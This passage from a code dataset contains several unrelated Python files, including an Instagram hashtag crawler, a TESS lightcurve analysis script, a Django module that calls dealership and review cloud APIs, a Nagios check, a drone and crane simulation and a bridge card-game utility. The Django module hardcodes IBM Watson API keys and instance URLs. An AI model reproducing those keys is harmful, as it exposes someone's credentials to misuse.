and Earnings\n '''\n fp = open_file()\n \n master = CsvWorker(fp) #creates csv\n \n csv_worker = master.minimize_table([3,5,40,55,116,118,122]) \n #minimizes csv\n \n csv_worker.set_special(3, percentage)\n csv_worker.set_special(6, percentage)\n csv_worker.set_special(4, currency)\n csv_worker.set_special(5, currency)\n #formats columns of csv worker\n \n for i in range(len(csv_worker[0])):\n csv_worker.set_width(i, csv_worker.get_width(i) + 4)\n #sets width at index\n \n csv_worker.write_table(\"output.txt\",10)\n csv_worker.write_csv(\"output.csv\", 10)\n #writes table and csv with limit 10\n\n max_act = csv_worker.maximum(2)\n min_act = csv_worker.minimum(2)\n #finds min and max act scores\n \n max_earn = csv_worker.maximum(4)\n min_earn = csv_worker.minimum(4)\n #finds min and max earnings\n \n #prints values\n print(\"Maximum ACT:\", str(max_act).strip())\n print(\"Minimum ACT:\", str(min_act).strip())\n print(\"Maximum Earnings:\", str(max_earn).strip())\n print(\"Minimum Earnings:\", str(min_earn).strip())\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"11/proj11.py","file_name":"proj11.py","file_ext":"py","file_size_in_byte":20767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"514637689","text":"from crawler_engine_abc import CrawlerEngine\nfrom insta_crawler_scroll import InstagramCrawlerEngine, BetterDriver\nfrom threading import Thread, Event\nimport os\nimport signal\nimport queue\nimport time\nimport argparse\n\n\nclass Crawler:\n \"\"\"\n Crawler system class. Comprises all modules required for crawling.\n \"\"\"\n def __init__(self, crawler_engine_cls, webdriver_cls, hash_tag, num_workers):\n if not issubclass(crawler_engine_cls, CrawlerEngine):\n raise self.CrawlerEngineMismatchError\n self.crawler_engine_cls = crawler_engine_cls\n self.webdriver_cls = webdriver_cls\n self.hash_tag = hash_tag\n self.stopper = Event()\n\n # create worker threads\n self.workers = self.create_workers(num_workers)\n\n # end gracefully upon Ctrl+C\n handler = SignalHandler(self.stopper, self.workers)\n signal.signal(signal.SIGINT, handler)\n\n\n def create_workers(self, num_workers=1):\n \"\"\"\n Args:\n num_workers (int): number of workers\n\n Returns:\n workers (set[Thread]): set of workers\n \"\"\"\n\n # create workers\n workers = set()\n for _ in range(num_workers):\n if issubclass(self.crawler_engine_cls, Thread):\n crawler_engine_inst = self.crawler_engine_cls(\n self.webdriver_cls(),\n hash_tag=self.hash_tag,\n worker_num=_,\n thread_stopper=self.stopper)\n workers.add(crawler_engine_inst)\n else:\n workers.add(Thread(\n target=self.crawler_engine_cls(self.webdriver_cls()),\n kwargs={\n 'hash_tag': self.hash_tag,\n 'worker_num': _\n }))\n return workers\n\n def start(self):\n \"\"\"\n Start crawling.\n \"\"\"\n for i, worker in enumerate(self.workers):\n worker.start()\n print('Worker {} started'.format(i))\n print('Logger thread started')\n\n def close(self):\n \"\"\"\n Stop crawling and close any additional running functionalities.\n \"\"\"\n if self.logger is not None:\n logger.close()\n\n class CrawlerEngineMismatchError(Exception):\n \"\"\"\n Exception indicating that crawler engine is not type of CrawlerEngine.\n \"\"\"\n def __init__(self, message=''):\n self.message = message\n\n\nclass SignalHandler:\n \"\"\"\n Signal handler for crawler.\n \"\"\"\n def __init__(self, stopper: Event, workers):\n self.stopper = stopper\n self.workers = workers\n\n def __call__(self, signum, frame):\n print('SIGINT received')\n self.stopper.set() # set stop thread event\n\n for worker in self.workers:\n worker.join()\n\n\nif __name__ == '__main__':\n # parse arguments\n argparser = argparse.ArgumentParser(description='Facecrawler')\n argparser.add_argument('-t', '--nthread', type=int, default=1, help='number of worker threads')\n argparser.add_argument('-H', '--hashtag', type=str, default=\"samsung\", help=\"hashtag\")\n args = argparser.parse_args()\n\n # create a crawler and start crawling\n crawler = Crawler(\n crawler_engine_cls=InstagramCrawlerEngine,\n webdriver_cls=BetterDriver,\n num_workers=args.nthread,\n hash_tag=args.hashtag)\n crawler.start()\n","sub_path":"crawler_scroll.py","file_name":"crawler_scroll.py","file_ext":"py","file_size_in_byte":3459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"571872724","text":"_base_ = [\n 'efficientnetv2-s_8xb32_in1k-384px.py',\n]\n\n# model setting\nmodel = dict(backbone=dict(arch='m'), )\n\ntrain_pipeline = [\n dict(type='LoadImageFromFile'),\n dict(type='EfficientNetRandomCrop', scale=384, crop_padding=0),\n dict(type='RandomFlip', prob=0.5, direction='horizontal'),\n dict(type='PackInputs'),\n]\n\ntest_pipeline = [\n dict(type='LoadImageFromFile'),\n dict(type='EfficientNetCenterCrop', crop_size=480, crop_padding=0),\n dict(type='PackInputs'),\n]\n\ntrain_dataloader = dict(dataset=dict(pipeline=train_pipeline))\nval_dataloader = dict(dataset=dict(pipeline=test_pipeline))\ntest_dataloader = dict(dataset=dict(pipeline=test_pipeline))\n","sub_path":"configs/efficientnet_v2/efficientnetv2-m_8xb32_in1k-480px.py","file_name":"efficientnetv2-m_8xb32_in1k-480px.py","file_ext":"py","file_size_in_byte":675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"488484729","text":"from lightkurve import search_tesscut\nfrom lightkurve import DesignMatrix\nfrom lightkurve import RegressionCorrector\nimport numpy as np\nimport astropy.units as u\nimport matplotlib.pyplot as plt\n\n# ADD:\n# quality_bitmask='hard'\n# to download_all for harder cut on QUALITY flag\ntpf = search_tesscut(\"BV Aqr\").download_all()\nprint(tpf)\nif(hasattr(tpf,\"__len__\")):\n N = len(tpf)\n target_mask1 = tpf[0].create_threshold_mask(threshold=3)\n raw_lc = tpf[0].to_lightcurve(aperture_mask=target_mask1)\n comb_mask = ((raw_lc.time < 1347) | (raw_lc.time > 1350)) & (raw_lc.flux_err > 0)\n raw_lc = raw_lc[comb_mask]\n bkgr = tpf[0].flux[:, ~target_mask1]\n dm = DesignMatrix(bkgr[comb_mask], name='regressors').pca(5).append_constant()\n rc = RegressionCorrector(raw_lc)\n rc.correct(dm)\n corrected_lc = (raw_lc - rc.model_lc + np.percentile(rc.model_lc.flux, 5)).flatten()\n for itpf in tpf[1:]:\n target_mask = itpf.create_threshold_mask(threshold=3)\n raw_lc = itpf.to_lightcurve(aperture_mask=target_mask)\n raw_lc = raw_lc[raw_lc.flux_err > 0]\n bkgr = itpf.flux[:, ~target_mask]\n dm = DesignMatrix(bkgr[raw_lc.flux_err > 0], name='regressors').pca(5).append_constant()\n rc = RegressionCorrector(raw_lc)\n rc.correct(dm)\n corrected_lc = corrected_lc.append((raw_lc - rc.model_lc + np.percentile(rc.model_lc.flux, 5)).flatten())\n corrected_lc = corrected_lc.remove_nans().remove_outliers(sigma=6)\n lspg = corrected_lc.to_periodogram(maximum_frequency=12.0,oversample_factor=10)\n primary_freq = lspg.frequency_at_max_power\n print(lspg.period_at_max_power)\n\n figure, ((ax1,ax2),(ax3,ax4)) = plt.subplots(2,2)\n tpf[0].plot(ax=ax1, aperture_mask=target_mask1, mask_color='k')\n corrected_lc.scatter(ax=ax2)\n figax3 = lspg.plot(ax=ax3)\n figax4 = corrected_lc.fold(period=1./primary_freq).scatter(ax=ax4)\n #figax4 = corrected_lc.fold(period=8.35).scatter(ax=ax4)\n plt.show()\nelse:\n print(\"Nothing there\")\n exit\n","sub_path":"exoplanet.py","file_name":"exoplanet.py","file_ext":"py","file_size_in_byte":2013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"427685646","text":"\"\"\" Djangoapp Rest APIs\"\"\"\nimport requests\nimport os\nimport json\nfrom .models import *\nfrom requests.auth import HTTPBasicAuth\nfrom ibm_watson import NaturalLanguageUnderstandingV1\nfrom ibm_cloud_sdk_core.authenticators import IAMAuthenticator\nfrom ibm_watson.natural_language_understanding_v1 import Features, EntitiesOptions, KeywordsOptions, SentimentOptions\n\nAPI_URL_DEALERSHIP_GET = \"https://1602c818.us-south.apigw.appdomain.cloud/api/dealership\"\nAPI_URL_REVIEW_GET = 'https://1602c818.us-south.apigw.appdomain.cloud/api/review'\nAPI_URL_REVIEW_POST = 'https://1602c818.us-south.apigw.appdomain.cloud/api/review'\nAPI_URL_DEALERSHIP_ADD = \"https://35ab1230.eu-gb.apigw.appdomain.cloud/api/api/dealers/add\"\nAPI_URL_SENTIMENT = 'https://api.us-south.natural-language-understanding.watson.cloud.ibm.com/instances/b39f2e76-9ea9-4787-b0de-8bb7f832c23b'\nAPI_KEY_SENTIMENT = 'ytft4kgOtlpg31kSQnE7Yc_C1GzEYmiDKZa2qXS1h6if'\n\n\n# Create a `get_request` to make HTTP GET requests\ndef get_request(url, apikey, **kwargs):\n print(kwargs)\n print(\"GET from {} \".format(url))\n try:\n if apikey:\n response = requests.get(url, params=kwargs, headers={'Content-Type': 'application/json'},\n auth=HTTPBasicAuth('apikey', apikey))\n else:\n response = requests.get(url, headers={'Content-Type': 'application/json'}, params=kwargs)\n except:\n print(\"Network exception occurred\")\n json_data = json.loads(response.text)\n print(json_data)\n return json_data\n\n\n# Create a `post_request` to make HTTP POST requests\ndef post_request(url, json_payload, **kwargs):\n \"\"\" Post\"\"\"\n try:\n response = requests.post(url, json=json_payload, params=kwargs)\n except:\n print(\"Network exception occurred\")\n json_data = json.loads(response.text)\n print(response.text)\n return json_data\n\n\n# Create a get_dealers_from_cf method to get dealers from a cloud function\ndef get_dealerships_from_cf():\n \"\"\" Get Dealerships\"\"\"\n results = []\n json_result = get_request(API_URL_DEALERSHIP_GET, apikey=\"\")\n if json_result:\n dealerships = json_result[\"entries\"]\n for dealer in dealerships:\n car_dealer = CarDealer(id=dealer[\"id\"],\n city=dealer[\"city\"],\n state=dealer[\"state\"],\n st=dealer[\"st\"],\n address=dealer[\"address\"],\n zip=dealer[\"zip\"],\n lat=dealer[\"lat\"],\n long=dealer[\"long\"],\n short_name=dealer[\"short_name\"],\n full_name=dealer[\"full_name\"])\n results.append(car_dealer)\n return results\n\n\n# Create a get_dealer_reviews_from_cf method to get reviews by dealer id from a cloud function\ndef get_dealer_reviews_from_cf(dealerId):\n \"\"\" Get Reviews\"\"\"\n results = []\n json_result = get_request(API_URL_REVIEW_GET, apikey=\"\", dealerId=dealerId)\n if json_result:\n reviews = json_result[\"entries\"]\n for review in reviews:\n sentiment = analyze_review_sentiments(review[\"review\"])\n if(review[\"purchase\"]):\n dealer_review = DealerReview(id=review[\"id\"],\n dealership=review[\"dealership\"],\n review=review[\"review\"],\n purchase=review[\"purchase\"],\n purchase_date=review['purchase_date'],\n car_make=review[\"car_make\"],\n car_model=review[\"car_model\"],\n car_year=review[\"car_year\"],\n sentiment=sentiment)\n results.append(dealer_review)\n else:\n dealer_review = DealerReview(id=review[\"id\"],\n dealership=review[\"dealership\"],\n review=review[\"review\"],\n purchase=review[\"purchase\"],\n purchase_date=\"09/09/2021\",\n car_make=\"None\",\n car_model=\"None\",\n car_year=\"None\",\n sentiment=sentiment)\n results.append(dealer_review)\n return results\n\n\ndef add_dealer_review_to_db(review_post):\n \"\"\" Add Review \"\"\"\n review = {\n \"id\": review_post['review_id'],\n \"name\": review_post['reviewer_name'],\n \"dealership\": review_post['dealership'],\n \"review\": review_post['review'],\n \"purchase\": review_post.get('purchase', False),\n \"purchase_date\": review_post.get('purchase_date'),\n \"car_make\": review_post.get('car_make'),\n \"car_model\": review_post.get('car_model'),\n \"car_year\": review_post.get('car_year')\n }\n print(review)\n return post_request(API_URL_REVIEW_POST, review)\n\n\n# Create an `analyze_review_sentiments` method to call Watson NLU and analyze text\ndef analyze_review_sentiments(text):\n try:\n api_key = \"mmj1AT11xuhlHJ7ZFeQcqoHT_MPwfwOn6Z-jxwGS0Chn\"\n url = \"https://api.eu-gb.natural-language-understanding.watson.cloud.ibm.com/instances/ddfed1cf-e08c-42d5-b19f-0337baaae49a\"\n authenticator = IAMAuthenticator(api_key)\n natural_language_understanding = NaturalLanguageUnderstandingV1(\n version='2020-08-01',\n authenticator=authenticator\n )\n natural_language_understanding.set_service_url(url)\n response = natural_language_understanding.analyze(\n text=text,\n features=Features(sentiment=SentimentOptions())\n ).get_result()\n sentiment_label = response[\"sentiment\"][\"document\"][\"label\"]\n sentimentresult = sentiment_label\n except:\n return \"\"\n return sentimentresult","sub_path":"server/djangoapp/restapis.py","file_name":"restapis.py","file_ext":"py","file_size_in_byte":6186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"178915529","text":"from django.template import loader\nfrom django.http import HttpResponse\nfrom .models import Collection, Movie\n\n\ndef index(request):\n \"\"\" Takes in http request, renders the main page. \"\"\"\n featured_collections = Collection.objects.order_by('creation_date')\n template = loader.get_template('movies/index.html')\n context = {\n 'featured_collections': featured_collections,\n }\n return HttpResponse(template.render(context, request))","sub_path":"movies/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"39033016","text":"import re\n\nf=open(\"D:\\\\Desktop\\\\quant.sf\",\"r\")\ncontent=f.read()\nf.close()\n\npat = re.compile(r\"XM\\_\\S*\")\nname = re.findall(pat,content)\ni=1\nf=open(\"D:\\\\Desktop\\\\tx2gene.csv\",\"w\")\nf.write(\"transcript_id gene_id\\n\")\nfor item in name:\n\tf.write(item + \" gene\" + str(i) + \"\\n\")\n\ti=i+1\n\nf.close()","sub_path":"salmon/salmon2.py","file_name":"salmon2.py","file_ext":"py","file_size_in_byte":289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"435985050","text":"# coding: utf-8\nfrom .nagios_check_sql import NagiosCheckSQL, build_query_from_parts\n\n\nclass NagiosCheckSQLRatio(NagiosCheckSQL):\n \"\"\"\n This is a generic SQL Nagios check.\n sql_connect has to be defined (SQLite\n nagios checks just have to define db_path)\n \"\"\"\n\n def __init__(self,\n sql_from=None, sql_where='1', sql_query=None,\n denum_from=None, denum_where='1', denum_query=None,\n div_by_0=0, **params\n ):\n self.div_by_0 = div_by_0\n self.denum_query = build_query_from_parts(\n 'COUNT(1)', denum_from, denum_where, denum_query)\n super(NagiosCheckSQLRatio, self).__init__(\n sql_select='COUNT(1)', sql_from=sql_from, sql_where=sql_where, sql_query=sql_query, **params)\n\n def compute(self):\n num = super(NagiosCheckSQLRatio, self).compute()\n denum = self.sql_execute(self.denum_query).fetchone()[0]\n if denum == 0:\n return self.div_by_0\n return float(num)/denum\n\n def get_message_values(self):\n return \"%s %%\" % (100 * self.value)\n","sub_path":"pynagiosplugins/nagios_check_sql_ratio.py","file_name":"nagios_check_sql_ratio.py","file_ext":"py","file_size_in_byte":1065,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"72505787","text":"import util\r\nfrom matplotlib.patches import Rectangle\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib import animation\r\nfrom agents import crane, drone\r\nfrom pathlib import Path\r\nimport matplotlib.colors as mcolors\r\nplt.rcParams['animation.ffmpeg_path'] = 'E:\\\\ffmpeg\\\\ffmpeg-win64-static\\\\bin\\\\ffmpeg.exe'\r\n\r\ncrane_log_path = Path(\"input\\\\crane_log.csv\")\r\ndrone_max_wait_time = 12 # Only used in the update_conflict_slot_list_wait_x_seconds() strategy.\r\n\r\n\r\ndef frame_gen(drone_):\r\n b = 0\r\n while not drone_.mission_end():\r\n b += 1\r\n yield b\r\n\r\n\r\nclass Simulation:\r\n def __init__(self):\r\n self.fig = plt.figure(figsize=(20, 3))\r\n self.ax = plt.axes()\r\n\r\n # Initialisation of the plot canvas\r\n plt.title('Simulation of drone movement for the mapping mission. (VIEW FROM THE TOP)')\r\n plt.xlabel('Distance Parallel to the Tracks (meter)')\r\n plt.ylabel('Width of the Mapping Area (meter)')\r\n plt.xlim(0, 360)\r\n plt.ylim(-1, 6)\r\n\r\n # Initialise the cranes and drone class\r\n self.cranes = crane.get_cranes(crane_log_path)\r\n self.drone_ = drone.get_drone(drone_max_wait_time)\r\n\r\n # Initialisation of the crane and drone patches for visualisation in the simulation\r\n self.patches_list = []\r\n self.ax.add_patch(Rectangle((5, 0), 350, 5, angle=0, lw=1, ec='b', fc=mcolors.CSS4_COLORS['lightgray']))\r\n plt.text(5, 5.2, 'Mission Area')\r\n [self.ax.add_patch(crane_.get_vis_patch(0)) for crane_ in self.cranes]\r\n self.ax.add_patch(self.drone_.get_vis_patch())\r\n plt.tight_layout()\r\n\r\n def get_patches_list(self, time):\r\n # Add the patches to the list for visualisation.\r\n self.patches_list = []\r\n self.patches_list = [crane.get_vis_patch(time) for crane in self.cranes]\r\n self.patches_list.append(self.drone_.get_vis_patch())\r\n self.patches_list.append(self.drone_.get_drone_text())\r\n self.patches_list.append(self.drone_.get_mission_counter_text())\r\n [self.patches_list.append(crane_.get_crane_text(time)) for crane_ in self.cranes]\r\n\r\n def add_conflict_patch(self):\r\n conflict_patch = Rectangle((self.drone_.get_location(), 0), 5, 5, lw=2, fc=mcolors.CSS4_COLORS['red'])\r\n self.ax.add_patch(conflict_patch)\r\n self.patches_list.append(conflict_patch)\r\n\r\n def update(self, time):\r\n self.get_patches_list(time)\r\n\r\n # Check for conflicts.\r\n conflicts = [util.detect_overlap(self.drone_.get_vis_patch(), crane_.get_vis_patch(time))\r\n for crane_ in self.cranes]\r\n\r\n if any(conflicts): # Mark it for re-fly mission.\r\n self.add_conflict_patch()\r\n\r\n # Strategy A: Just mark the conflict slots for a later re-fly mission\r\n #self.drone_.update_conflict_slot_list_no_wait(conflicts)\r\n\r\n # Strategy B: Wait for 10 Seconds on a conflict before moving on.\r\n self.drone_.update_conflict_slot_list_wait_x_seconds(conflicts)\r\n return self.patches_list\r\n\r\n\r\n def update_new_strategy(self, time):\r\n # TODO Implement the new update strategy here.\r\n self.get_patches_list(time)\r\n conflicts = [util.detect_overlap(self.drone_.get_vis_patch(), crane_.get_vis_patch(time))\r\n for crane_ in self.cranes]\r\n\r\n # self.get_patches_list(time)\r\n is_waits = []\r\n if any(conflicts):\r\n is_waits = [util.is_wait(self.drone_, crane_, time, self.drone_.countdown())\r\n for crane_ in self.cranes]\r\n self.drone_.update_conflict_slot_list_intelligent_wait(conflicts, is_waits)\r\n if not (any(is_waits)) and any(conflicts):\r\n self.add_conflict_patch()\r\n print(\"slot_location:\", self.drone_.get_location())\r\n return self.patches_list\r\n\r\n\r\n def animate(self):\r\n gen = frame_gen(self.drone_)\r\n anim2 = animation.FuncAnimation(self.fig, self.update_new_strategy, fargs=(), frames=gen,\r\n interval=1, blit=True, save_count=1000)\r\n anim_name = 'output/anim_with_intelligent_wait.mp4'\r\n anim2.save(anim_name, fps=10, extra_args=['-vcodec', 'libx264'])\r\n\r\n\r\nsim = Simulation()\r\nsim.animate()\r\n# print(crane_log_path)\r\n# cranes_ = crane.get_cranes(crane_log_path)\r\n# crane1 = cranes_[0]\r\n# drone1 = drone.get_drone(drone_max_wait_time)\r\n# wait_time = 10\r\n# current_time = 5\r\n# conflicts = [util.detect_overlap(drone1.get_vis_patch(), crane_.get_vis_patch(current_time))\r\n# for crane_ in cranes_]\r\n#\r\n# print(crane1.get_location(current_time))\r\n# print(crane1.get_location(current_time+wait_time))\r\n# print(drone1.get_location())\r\n# print(util.is_wait(drone1, crane1, current_time, wait_time))\r\n# drone1.update_conflict_slot_list_intelligent_wait(conflicts, False)\r\n","sub_path":"simulation.py","file_name":"simulation.py","file_ext":"py","file_size_in_byte":4854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"573930726","text":"import numpy as np\nfrom matplotlib import pyplot as plt\nimport math\nfrom pylab import *\n\n\ndeltax = 0.1\ndeltat = 0.05\nxmax = 20\n#tmax = 1800 #1800!!!\ntsteps = 1800\n\nc = 0.2\n\nxsteps = 2*int(xmax / deltax)+1\n#tsteps = int(tmax / deltat)\ntmax = deltat * tsteps\n\nnthstep = 5\n\n#bisschen unschoen\nuarray = np.zeros((xsteps, tsteps))\ntarray = np.zeros(tsteps)\nxarray = np.zeros(xsteps)\nfx = np.zeros(xsteps)\ngx = np.zeros(xsteps) #gamma1\nbeta = np.zeros(xsteps)\nAMat = np.zeros((xsteps, xsteps))\nalpha = deltat/deltax\ntarray = np.zeros(tsteps)\n\ndef sechh(argu):\n\treturn 2 / (math.exp(argu)+math.exp(-argu))\n\n\n\n\nfor i in range(0, tsteps):\n\ttarray[i] = i * deltat\n\nfor i in range(0, xsteps):\n\txarray[i] = i*deltax - xmax#\n\tfx[i] = 4*math.atan(math.exp(-xarray[i]/math.sqrt(1-c**2)))\n\tgx[i] = -2*c/math.sqrt(1-c**2)*1/math.cosh(xarray[i]/math.sqrt(1-c**2))\n\t#gx[i] = -2*c/math.sqrt(1-c**2) * sechh(xarray[i]/math.sqrt(1-c**2))\n\tuarray[i][0] = fx[i]\n\tbeta[i] = math.sin(fx[i])\n\tAMat[i][i] = 1-alpha**2\n\nAMat[0][1] = alpha**2\nAMat[xsteps-1][xsteps-2] = alpha**2\n\nfor i in range(1,xsteps-1):\n\tAMat[i][i-1] = alpha**2 / 2\n\tAMat[i][i+1] = alpha**2 / 2\n\n#u1\nuarray[:,1] = np.multiply(deltat, gx) + np.dot(AMat, uarray[:,0]) - np.multiply(deltat**2/2, beta)\n\n\nfor j in range(1,tsteps-1):\n\tbeta = np.sin(uarray[:,j])\n\tuarray[:,j+1] = -uarray[:,j-1] + np.dot(np.multiply(2, AMat), uarray[:,j] - np.multiply(deltat**2, beta))\n\n\nfig = plt.figure()\nax = fig.add_subplot(1,1,1)\n\nfor ind in range(0, tsteps+1):\n\t\n\tif ind%nthstep == 0:\n\t\tax.clear()\n\t\tax.set_xlim([-xmax,xmax])\n\t\tax.set_ylim([-1,7])\n\t\tax.plot(xarray, uarray[:,ind])\n\t\tfigtext(.002, .02, \"by Frank Ehebrecht / Januar 2014\")\n\t\tplt.title('t = %f'%(tarray[ind]))\n\t\tsavefig('anim%03d.png'%int(ind/nthstep), dpi=100)\n# rest mit ffmpeg manuell zu film (animation.py aus matplotlib ist beim\n# speichern von animationen fehlerhaft)\n","sub_path":"PDEs/SineGordonEq1D_ExplicitMethod.py","file_name":"SineGordonEq1D_ExplicitMethod.py","file_ext":"py","file_size_in_byte":1864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"624477705","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.5 (3350)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-i686/egg/bridge_util.py\n# Compiled at: 2016-11-01 16:16:54\n# Size of source mod 2**32: 7359 bytes\nimport enum\n\nclass Card:\n\n def __init__(self, suit, rank):\n self.suit = suit\n self.rank = rank\n\n def __eq__(self, other):\n if other is None:\n return False\n else:\n return self.suit is other.suit and self.rank == other.rank\n\n def __hash__(self):\n return 13 * self.suit.value + self.rank\n\n def __lt__(self, other):\n return self.rank < other.rank\n\n def __str__(self):\n return rank_str(self.rank) + str(self.suit)\n\n\ndef rank_str(n):\n if n == 12:\n return 'A'\n else:\n if n == 11:\n return 'K'\n if n == 10:\n return 'Q'\n if n == 9:\n return 'J'\n if n == 8:\n return 'T'\n return str(n + 2)\n\n\ndef has_suit(hand, suit):\n \"\"\"Return True if hand contains any card of suit.\n \"\"\"\n return suit in [c.suit for c in hand]\n\n\ndef suit_count(hand, suit):\n \"\"\"Return number of cards of hand in suit.\n \"\"\"\n return [c.suit for c in hand].count(suit)\n\n\ndef high_card_suit(hand, suit):\n \"\"\"Return highest card of hand in given suit, or None if hand is\n void in suit.\n \"\"\"\n try:\n return max(c for c in hand if c.suit is suit)\n except ValueError:\n return\n\n\ndef high_card_suit_b4d(hand, suit, dum_hand):\n \"\"\"Return highest card of hand in given suit, taking into account\n that we only need to beat cards in dum_hand, or None if hand is\n void in suit.\n \"\"\"\n l = sorted({c for c in hand if c.suit is suit}, reverse=True)\n if len(l) == 0:\n return\n else:\n last = l[0]\n for c in l[1:]:\n if len({d for d in dum_hand if c < d < last}) > 0:\n return last\n last = c\n\n return last\n\n\ndef low_card_suit(hand, suit):\n \"\"\"Return lowest card of hand in given suit. Raise ValueError if\n hand is void in suit.\n \"\"\"\n return min(c for c in hand if c.suit == suit)\n\n\ndef find_max(seq):\n \"\"\"Find the index at which sequence seq has its (first) maximum.\n Raise ValueError if seq is empty.\n \"\"\"\n return seq.index(max(sequence))\n\n\ndef find_min(seq):\n \"\"\"Find the index at which sequence seq has its (first) minimum.\n Raise ValueError if seq is empty.\n \"\"\"\n return seq.index(min(sequence))\n\n\ndef low_card_hand(hand, trump):\n \"\"\"Return (one of the) lowest card(s) of hand, taking trump into\n account. Raise ValueError if hand is empty.\n \"\"\"\n try:\n return min(c for c in hand if c.suit is not trump)\n except ValueError:\n return min(c for c in hand)\n\n\ndef winner(trick, trump):\n \"\"\"Return (winner, winning card) of trick with given trump suit.\n Raise ValueError if trick has no cards yet played.\n \"\"\"\n try:\n best = max([c for c in trick.cards if c is not None and c.suit is trump])\n except ValueError:\n best = max([c for c in trick.cards if c is not None and c.suit is trick.lead_suit])\n\n return (\n trick.cards.index(best), best)\n\n\nclass Bids(enum.Enum):\n Pass = 0\n Double = 1\n Redouble = 2\n\n def plus_one(self):\n return self\n\n def __str__(self):\n if self is Bids.Pass:\n return 'Pass'\n else:\n if self is Bids.Double:\n return 'Dbl'\n return 'Rdbl'\n\n\nclass Suit(enum.Enum):\n Clubs = 0\n Diamonds = 1\n Hearts = 2\n Spades = 3\n NT = 4\n\n def is_major(self):\n return self in {Suit.Hearts, Suit.Spades}\n\n def is_minor(self):\n return self in {Suit.Diamonds, Suit.Clubs}\n\n def is_suit(self):\n return self is not Suit.NT\n\n def prev(self):\n if self.value == 0:\n return Suit.Spades\n else:\n return Suit(self.value - 1)\n\n def next(self):\n return Suit(self.value + 1)\n\n def __str__(self):\n if self is Suit.Clubs:\n return 'C'\n else:\n if self is Suit.Diamonds:\n return 'D'\n if self is Suit.Hearts:\n return 'H'\n if self is Suit.Spades:\n return 'S'\n return 'NT'\n\n\ndef suit_all():\n s = Suit.Clubs\n yield s\n while s is not Suit.NT:\n s = s.next()\n yield s\n\n\ndef suit_real(start=Suit.Spades):\n yield start\n s = start.prev()\n while s is not start:\n yield s\n s = s.prev()\n\n\ndef suit_fwd(start=Suit.Clubs):\n s = start\n while s is not Suit.NT:\n yield s\n s = s.next()\n\n\ndef find_val(d, val):\n for k, v in d.items():\n if v == val:\n return k\n\n raise ValueError\n\n\nclass Bid:\n\n def __init__(self, l, s):\n self.n = l\n self.suit = s\n\n def plus_one(self):\n return Bid(self.n + 1, self.suit)\n\n def next_suit(self):\n if self.suit in (Suit.Spades, Suit.NT):\n return Bid(self.n + 1, Suit.Clubs)\n else:\n return Bid(self.n, Suit(self.suit.value + 1))\n\n def __str__(self):\n return str(self.n) + str(self.suit)\n\n\ndef outrank(bid, con, hostile):\n if bid is Bids.Pass:\n return True\n if bid is Bids.Double:\n return con.n is not None and not con.doubled and hostile\n if bid is Bids.Redouble:\n return con.n is not None and con.doubled and not con.redoubled and hostile\n if con.n is None:\n return True\n return bid.n > con.n or bid.n == con.n and bid.suit.value > con.suit.value\n\n\nclass Contract:\n\n def __init__(self):\n self.n = None\n\n def apply(self, bid, hostile):\n if not outrank(bid, self, hostile):\n raise ValueError\n if bid is Bids.Double:\n self.doubled = True\n else:\n if bid is Bids.Redouble:\n self.redoubled = True\n elif bid is not Bids.Pass:\n self.n = bid.n\n self.suit = bid.suit\n self.doubled = False\n self.redoubled = False\n\n\ndef val(con):\n if con.suit.is_minor():\n base_val = 2\n else:\n base_val = 3\n base_val *= con.n\n if con.suit is Suit.NT:\n base_val += 1\n if hasattr(con, 'doubled') and con.doubled:\n if con.redoubled:\n base_val *= 4\n else:\n base_val *= 2\n return base_val\n\n\ndef over_bonus(over, con, vul):\n if con.n == 6:\n if vul:\n slam_val = 75\n else:\n slam_val = 50\n else:\n if con.n == 7:\n if vul:\n slam_val = 150\n else:\n slam_val = 100\n else:\n slam_val = 0\n if hasattr(con, 'doubled') and con.doubled:\n slam_val *= 2\n if over > 0:\n val = 20 * over - 10\n else:\n val = 0\n if vul:\n val *= 2\n val += 5\n if con.redoubled:\n val *= 2\n slam_val *= 2\n else:\n if con.suit.is_minor():\n base_val = 2\n else:\n base_val = 3\n val = base_val * over\n return val + slam_val\n\n\ndef under_bonus(under, con, vul):\n if con.doubled:\n if vul:\n val = 30 * under\n else:\n val = 20 * under\n val -= 10\n if con.redoubled:\n val *= 2\n else:\n if vul:\n val = 10 * under\n else:\n val = 5 * under\n return val","sub_path":"pycfiles/PyWhist-0.1-py3.5/bridge_util.cpython-35.py","file_name":"bridge_util.cpython-35.py","file_ext":"py","file_size_in_byte":7629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"395307019","text":"# import numpy as np\nimport os\nfrom setuptools import setup, Extension\nfrom setuptools import find_packages\nimport numpy as np\n\nVERSION = '0.3.0'\nclassifiers = [\n # How mature is this project? Common values are\n # 3 - Alpha\n # 4 - Beta\n # 5 - Production/Stable\n 'Development Status :: 3 - Alpha',\n\n # Indicate who your project is intended for\n 'Intended Audience :: End Users/Desktop',\n 'Topic :: Scientific/Engineering :: Bio-Informatics',\n\n # Pick your license as you wish (should match \"license\" above)\n 'License :: OSI Approved :: BSD License',\n\n # Specify the Python versions you support here. In particular, ensure\n # that you indicate whether you support Python 2, Python 3 or both.\n 'Programming Language :: Python :: 3 :: Only',\n 'Programming Language :: Python :: Implementation :: CPython'\n]\n\nkeywords = 'neuron 3d reconstruction 